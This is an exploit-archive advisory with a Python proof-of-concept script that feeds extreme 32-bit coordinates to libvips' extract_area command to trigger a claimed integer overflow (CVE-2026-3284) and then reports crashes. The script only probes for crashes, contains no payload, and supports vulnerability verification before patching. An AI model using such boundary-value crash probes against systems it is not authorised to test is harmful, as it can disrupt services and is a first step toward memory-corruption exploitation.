============================================================================================================================================= | # Title : libvips 8.19.0 vips_extract_area_build Local Integer Overflow | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.libvips.org/ | ============================================================================================================================================= [+] Summary : This Python script performs an advanced security audit on the vips image processing tool (libvips 8.19.0), specifically targeting the integer overflow vulnerability (CVE-2026-3284) in the function vips_extract_area_build. [+] Key Features: Safe Environment Setup: Creates a large temporary image (10,000 × 10,000) to avoid memory exhaustion while testing boundary conditions. Verifies the existence of the vips binary before execution. Targeted Probes: Tests maximum and minimum 32-bit integer values and out-of-bounds scenarios for the extract_area arguments. Monitors for crashes (SIGSEGV, SIGABRT) or AddressSanitizer errors. Detailed Reporting: Outputs a formatted table showing each test scenario, verdict (crash or safe), return code, and a snippet of stderr. Cleanup: Safely removes temporary input and output files after testing. Purpose: The script acts as a PoC for local exploitation of CVE-2026-3284, useful for security researchers to verify vulnerabilities before patching. Applying the official patch (24795bb3d19d84f7b6f5ed86451ad556c8f2fe70) or updating libvips is strongly recommended. [+] POC : import subprocess import os import signal import time class VipsAdvancedAudit: def __init__(self, binary_path="./vips"): self.vips_bin = binary_path self.in_file = f"audit_in_{int(time.time())}.v" self.out_file = f"audit_out_{int(time.time())}.v" self.results = [] def setup(self): """Sets up the test environment with a balanced size to avoid RAM exhaustion""" print(f"[*] Initializing Audit on: {self.vips_bin}") if not os.path.exists(self.vips_bin) and not subprocess.run(["which", self.vips_bin], capture_output=True).returncode == 0: print(f"[-] Error: vips binary not found.") return False try: subprocess.run([self.vips_bin, "black", self.in_file, "10000", "10000"], capture_output=True, check=True) return True except Exception as e: print(f"[-] Setup failed (possibly Disk space or Vips error): {e}") return False def probe(self, name, left, width): """Tests the scenario with precise error handling""" env = os.environ.copy() env["ASAN_OPTIONS"] = "detect_leaks=0:abort_on_error=1:halt_on_error=1" cmd = [ self.vips_bin, "--vips-max-coord", "2147483647", "extract_area", self.in_file, self.out_file, str(left), "0", str(width), "10" ] try: proc = subprocess.run(cmd, env=env, capture_output=True, text=True, timeout=15) ret_code = proc.returncode stderr = proc.stderr except subprocess.TimeoutExpired: ret_code = -999 stderr = "Execution Timeout - Possible logic hang or heavy processing" except Exception as e: ret_code = -888 stderr = str(e) is_crash = False if ret_code is not None: crash_signals = [-signal.SIGSEGV, -signal.SIGABRT, 134, 139, 11] if ret_code in crash_signals or ret_code < 0: is_crash = True crash_keywords = ["AddressSanitizer", "SEGV", "segmentation fault", "buffer-overflow"] if any(key in stderr.lower() for key in crash_keywords): is_crash = True verdict = "B0000M CRASH" if is_crash else "OK️ REJECTED (Safe)" self.results.append({ "name": name, "status": verdict, "code": ret_code, "msg": stderr[:40].replace('\n', ' ') }) def run_suite(self): cases = [ ("INT32 Max Overflow", 2147483647, 100), ("Negative Boundary Wrap", -2147483648, 1), ("Standard OOB", 50000, 10) ] for name, l, w in cases: self.probe(name, l, w) def cleanup(self): """Safe cleanup of temporary files only""" for f in [self.in_file, self.out_file]: if os.path.exists(f): try: os.remove(f) except: pass def report(self): print("\n" + "="*95) print(f"{'Scenario':<25} | {'Verdict':<20} | {'Code':<6} | {'Stderr Snippet'}") print("-" * 95) for r in self.results: print(f"{r['name']:<25} | {r['status']:<20} | {r['code']:<6} | {r['msg']}") print("="*95) if __name__ == "__main__": audit = VipsAdvancedAudit() try: if audit.setup(): audit.run_suite() audit.report() finally: audit.cleanup() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================